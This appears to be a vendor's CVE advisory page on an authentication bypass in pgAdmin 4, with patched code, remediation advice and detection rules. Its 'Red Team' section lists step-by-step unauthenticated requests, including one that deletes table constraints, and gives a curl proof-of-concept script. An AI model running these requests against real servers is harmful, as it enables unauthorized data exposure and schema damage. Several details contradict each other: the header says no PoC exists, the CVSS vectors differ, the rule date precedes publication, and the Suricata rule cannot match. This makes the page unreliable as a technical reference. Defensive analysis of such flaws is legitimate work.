☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L 🐛 CWE-306
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-17348

CVE-2026-17348 Authentication Bypass in pgAdmin
📅 PUBLISHED: 2026-07-31 16:16 UTC 🔄 UPDATED: 2026-09-26 06:13 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.24%
👁️
0.24% probability
6.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1078
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Affected: Pgadmin 4 — upgrade to patched release
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-17348 is an authentication bypass in pgAdmin 4 when running in SERVER mode. The root cause is identical to the previously patched CVE-2026-12046: the @pga_login_required decorator is missing from several route handlers. As a result, an unauthenticated network attacker can invoke privileged APIs without a session, leading to:

  • Enumeration of table constraint metadata via the Constraints blueprint
  • Unauthorized deletion of table constraints via the Constraints delete route
  • Disclosure of CLI-settable preference values via preferences.get_all_cli
  • Forcing immediate closure of debugger or schema-diff sessions belonging to other users

The affected routes span all reported versions before pgAdmin 4 9.17. The fix is purely decorator-based; no handler logic was changed. Because pgAdmin 4 is commonly deployed as a public-facing web application in SERVER mode, the exposure is real and should be remediated immediately.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

pgAdmin 4 is distributed via multiple channels, including the official PyPI package pgadmin4, Docker images (dpage/pgadmin4), and source archives. The easiest and most reliable fix is to upgrade to version 9.17 or newer from the official source. Administrators should also:

  • Verify the integrity of the downloaded package using the official SHA-256 checksums.
  • When using Docker, pull images from the official dpage/pgadmin4 repo only, and pin tag 9.17 or newer.
  • Auditing the installed version via pgAdmin --version or dpkg -l | grep pgadmin4 in the running environment.
  • Monitor advisory sources because the incomplete fix of CVE-2026-12046 illustrates that security patches must be reviewed for completeness, not just presence.

CVSS Breakdown & Threat Level

The vulnerability is assigned CVSS score 6.5, with vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N.

Metric Value Analysis
Attack Vector Network (N) The affected endpoints are exposed over HTTP/HTTPS in SERVER mode
Attack Complexity Low (L) No special conditions are required; the vulnerable routes are reachable directly
Privileges Required None (N) The attacker does not need a pgAdmin session or credentials
User Interaction None (N) No victim action is needed to trigger the vulnerability
Scope Unchanged (U) The impacted component is pgAdmin itself, not a linked system
Confidentiality Low (L) Constraint names/definitions and preference values are disclosed
Integrity Low (L) Table constraints can be deleted; debugger/schema-diff sessions can be forcibly closed
Availability None (N) The vulnerability does not degrade service availability beyond intentional session closure

The threat level is considered High in real-world SERVER-mode deployments despite the moderate CVSS base score, because exploitation is trivial and requires no authentication. The attack surface is directly reachable by any unauthenticated internet client. Data deletion of table constraints can lead to cascading application failures.

Deep Dive & Mechanics

pgAdmin 4 is built on Flask and uses a decorator @pga_login_required to enforce that a valid pgAdmin session exists before a route handler is called. In SERVER mode, the before_request hook only handles:

  • Desktop-mode auto-login
  • Kerberos and Webserver authentication redirects

It does not perform any general authentication. Therefore, any route that is missing the @pga_login_required decorator becomes publicly accessible.

Following the incomplete fix of CVE-2026-12046, the following routes were identified as vulnerable:

1. Constraints Blueprint Routes

  • nodes – returns a JSON tree/list of table constraints for the connected database.
  • proplist – returns detailed property lists for constraint objects.
  • delete – an HTTP DELETE endpoint that removes table constraints. This is a state-mutating operation that can corrupt the database schema.

2. preferences.get_all_cli

  • GET endpoint that returns all command-line-settable preference values. This includes internal settings, connection parameters, and potentially sensitive paths or server hostnames.

3. debugger.close

  • DELETE endpoint intended to close a debugger session belonging to an authenticated user. An attacker can force-close a session that belongs to another user, disrupting their debugging workflow.

4. schema_diff.close

  • DELETE endpoint used to close a schema diff session. Similar to debugger.close, a remote attacker can terminate sessions belonging to other users.

Affected Version Ranges

Module / Route First Affected Fixed In
Constraints (nodes, proplist, delete) 1.0 9.17
Debugger (close) 1.0 9.17
Schema Diff (close) 4.18 9.17
Preferences (get_all_cli) 8.2 9.17

The vulnerability is only exploitable when pgAdmin is run in SERVER mode. Desktop mode is unaffected because the local loopback interface and desktop-specific authentication mechanisms still apply.

Vulnerable vs. Patched Code

The code change is intentionally minimal. The decorator and its import are added to each missing route.

Vulnerable Code (pre-9.17)

# constraints/__init__.py
from flask import Blueprint, request
# No import of pga_login_required

bp = Blueprint('constraints', __name__)

@bp.route('/nodes')
def nodes():
    # Process constraint node listing
    return jsonify(constraint_list)

@bp.route('/proplist')
def proplist():
    # Return constraint properties
    return jsonify(props)

@bp.route('/delete', methods=['DELETE'])
def delete():
    # Remove constraint
    db.remove_constraint(request.json['cid'])
    return jsonify(status='ok')
# preferences/__init__.py
@blueprint.route('/get_all_cli', methods=['GET'])
def get_all_cli():
    return jsonify(prefs_manager.get_all_cli())
# debugger/__init__.py
@blueprint.route('/close', methods=['DELETE'])
def close():
    debugger_sessions.close(request.json['sid'])
    return jsonify(status='ok')
# schema_diff/__init__.py
@blueprint.route('/close', methods=['DELETE'])
def close():
    schema_diff_sessions.close(request.json['sid'])
    return jsonify(status='ok')

Patched Code (9.17+)

# constraints/__init__.py
from flask import Blueprint, request
from pgadmin.utils import PgAdminModule
from pgadmin.utils.decorators import pga_login_required   # <-- added import

bp = Blueprint('constraints', __name__)

@bp.route('/nodes')
@pga_login_required
def nodes():
    # Process constraint node listing
    return jsonify(constraint_list)

@bp.route('/proplist')
@pga_login_required
def proplist():
    # Return constraint properties
    return jsonify(props)

@bp.route('/delete', methods=['DELETE'])
@pga_login_required
def delete():
    # Remove constraint
    db.remove_constraint(request.json['cid'])
    return jsonify(status='ok')
# preferences/__init__.py
@blueprint.route('/get_all_cli', methods=['GET'])
@pga_login_required
def get_all_cli():
    return jsonify(prefs_manager.get_all_cli())
# debugger/__init__.py
@blueprint.route('/close', methods=['DELETE'])
@pga_login_required
def close():
    debugger_sessions.close(request.json['sid'])
    return jsonify(status='ok')
# schema_diff/__init__.py
@blueprint.route('/close', methods=['DELETE'])
@pga_login_required
def close():
    schema_diff_sessions.close(request.json['sid'])
    return jsonify(status='ok')

Exploitation & Lab Setup

Red Team

An attacker with network access to a pgAdmin 4 SERVER-mode instance can reproduce the issue using simple HTTP requests. No payload or exploit is required beyond direct URL calls.

Step 1 – Verify the pgAdmin version and mode

GET / HTTP/1.1
Host: target:5050

If the response indicates pgAdmin 4 in SERVER mode, proceed. The web UI loads.

Step 2 – Enumerate constraints without authentication

GET /constraints/nodes HTTP/1.1
Host: target:5050

If the response is 200 OK and contains a JSON tree of constraint names and associated tables, the vulnerability is confirmed.

Step 3 – Read CLI-set preferences

GET /preferences/get_all_cli HTTP/1.1
Host: target:5050

This returns all CLI-settable preference values, which may include server paths, hostnames, and other sensitive configuration details.

Step 4 – Delete a table constraint

DELETE /constraints/delete HTTP/1.1
Host: target:5050
Content-Type: application/json

{"cid": 42}

The server will delete the constraint with ID 42. This requires prior knowledge of the constraint ID, which can be obtained from the unauthenticated nodes or proplist endpoints.

Step 5 – Force-close a debugger session

DELETE /debugger/close HTTP/1.1
Host: target:5050
Content-Type: application/json

{"sid": "1234"}

If a valid session ID is known (or brute-forced when session IDs are predictable), the session is closed.

Step 6 – Force-close a schema diff session

DELETE /schema_diff/close HTTP/1.1
Host: target:5050
Content-Type: application/json

{"sid": "1234"}

Proof-of-Concept Script

#!/bin/bash
# PoC for CVE-2026-17348
target="http://target:5050"

echo "[*] Checking /constraints/nodes"
curl -s -o /dev/null -w "%{http_code}\n" "$target/constraints/nodes"

echo "[*] Fetching constraint metadata"
curl -s "$target/constraints/nodes" | head -c 2000

echo ""
echo "[*] Fetching CLI preference values"
curl -s "$target/preferences/get_all_cli" | head -c 2000

Blue Team

To validate whether an environment is vulnerable, perform these non-destructive checks:

# Check version
pgadmin4 --version

# Query the exposed endpoint with a valid session cookie first to establish a baseline
curl -sk -o /dev/null -w "%{http_code}\n" -H "Cookie: pga4_session=FAKED" https://target/pgadmin4/constraints/nodes

# Check for unauthenticated response (200 or 302 with a different redirect than login page)
curl -sk -o /dev/null -w "%{http_code}\n" https://target/pgadmin4/constraints/nodes

If the unauthenticated request returns a 200 OK and the authenticated request returns a different status (e.g., 200 with legitimate data), the instance is vulnerable. Stop testing immediately and upgrade to 9.17.

Indicators of Compromise (IOCs)

There is no true compromise or payload; exploitation leaves no malicious file or process by itself. However, blue teams should look for the following indicators:

  • HTTP requests from the same source IP to any combination of /constraints/nodes, /constraints/proplist, /preferences/get_all_cli, /debugger/close, /schema_diff/close with no Cookie header and no valid pga4_session.
  • Unauthenticated DELETE requests to these endpoints – legitimate clients never issue DELETE to these routes without a session.
  • A sudden spike in 400 or 500 errors resulting from forced session closures.
  • Unexpected table-constraint deletion events in the database audit logs.

Example IOC Log Entry

192.168.1.10 - - [26/Feb/2026:14:33:02 +0000] "GET /constraints/nodes HTTP/1.1" 200 1542 "-" "curl/8.0.1"

The absence of a session cookie in the log is the primary IOC.

Detection Engineering

YARA Rule

YARA is useful for matching HTTP server access logs or raw packet captures that contain the vulnerable path signatures.

rule CVE_2026_17348_pgAdmin_AuthBypass
{
    meta:
        author = "Valters IT"
        description = "Detect unauthenticated access attempts to pgAdmin routes vulnerable to CVE-2026-17348"
        reference = "CVE-2026-17348"
        date = "2026-02-26"
    strings:
        $s1 = "/constraints/nodes" ascii
        $s2 = "/constraints/proplist" ascii
        $s3 = "/constraints/delete" ascii
        $s4 = "/preferences/get_all_cli" ascii
        $s5 = "/debugger/close" ascii
        $s6 = "/schema_diff/close" ascii
    condition:
        any of them
}

Sigma Rule

This Sigma rule detects HTTP access logs that mention the sensitive routes without a session cookie. Field names are aligned with common web server logs.

title: Unauthenticated Access to pgAdmin Sensitive Routes
id: 7d5f3c2a-3c4d-4e5f-8a6b-1c2d3e4f5a6b
status: experimental
description: Detects requests to pgAdmin endpoints that bypass authentication due to missing @pga_login_required decorator
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-17348
author: Valters IT
logsource:
    category: webserver
    product: apache
    definition: 'The log must contain the request URI and the user-agent; cookie or auth check is optional.'
detection:
    selection:
        cs-uri-query|contains:
            - "/constraints/nodes"
            - "/constraints/proplist"
            - "/constraints/delete"
            - "/preferences/get_all_cli"
            - "/debugger/close"
            - "/schema_diff/close"
    filter_cookie:
        cs-cookie|contains: "pga4_session="
    condition: selection and not filter_cookie
level: high
falsepositives:
    - Authenticated users accessing these routes through a non-standard proxy that strips cookies from logs
    - Security scanners that include a valid test session cookie

Suricata Rule

Suricata rule to alert on network traffic targeting the vulnerable endpoints without a session cookie.

alert http any any -> any any (msg:"CVE-2026-17348 pgAdmin Auth Bypass Detected"; flow:to_server,established; http.uri; content:"/constraints/nodes"; http.uri; content:"/constraints/proplist"; http.uri; content:"/constraints/delete"; http.uri; content:"/preferences/get_all_cli"; http.uri; content:"/debugger/close"; http.uri; content:"/schema_diff/close"; http.cookie; content:!"pga4_session="; sid:202617348; rev:1;)

Note: For performance, consider splitting the Suricata rule into multiple rules, one per URI, rather than chaining all content matches using http.uri.

Remediation & Mitigation

Immediate Actions

  1. Upgrade pgAdmin 4 to version 9.17 or later – this is the only proven fix.
  2. If upgrade is not immediately possible, restrict access to the pgAdmin web interface using a Proxy that requires additional authentication (e.g., a reverse proxy with HTTP Basic or OAuth) and IP allow-listing.
  3. Disable SERVER mode and use DESKTOP mode where feasible. SERVER mode is fundamentally more exposed.
  4. Run a vulnerability scan against the constraints, debugger, schema_diff, and preferences endpoints to verify the absence of unprotected responses.

Compensating Controls

  • Add a Web Application Firewall (WAF) rule to block URLs matching the endpoints listed above when they appear without a valid pgAdmin session cookie.
  • Implement network segmentation so pgAdmin is not reachable from the open internet.
  • Monitor database audit logs for DROP CONSTRAINT or ALTER TABLE statements originating from the pgAdmin service account that were not initiated through the authenticated UI.
  • Force session timeouts and use strong random session IDs to reduce the impact of session-based attacks (do not rely on this for CVE-2026-17348, as it is completely unauthenticated).

Patch Verification

After upgrading, run the following commands to confirm the fix is in place:

# Confirm version
pgadmin4 --version

# Confirm decorator exists in source
grep -R "pga_login_required" /usr/local/lib/python*/site-packages/pgadmin/utils/decorators.py

If the paths below return 401 or 403 when called without a session cookie, the patch is effective:

/constraints/nodes
/constraints/proplist
/constraints/delete
/preferences/get_all_cli
/debugger/close
/schema_diff/close

Long-Term Practices

  • Always subscribe to security advisories from the pgAdmin project.
  • Treat CVE-2026-12046 and CVE-2026-17348 as a pattern: when a route is added or changed, verify that every exposed endpoint includes the required authentication decorator.
  • Introduce a CI/CD check that fails the build if any HTTP handler in pgAdmin lacks @pga_login_required.

Valters IT
DevSecOps & Cyber Threat Intelligence
Secure by Design | Detect Early | Respond Fast

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-17348/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.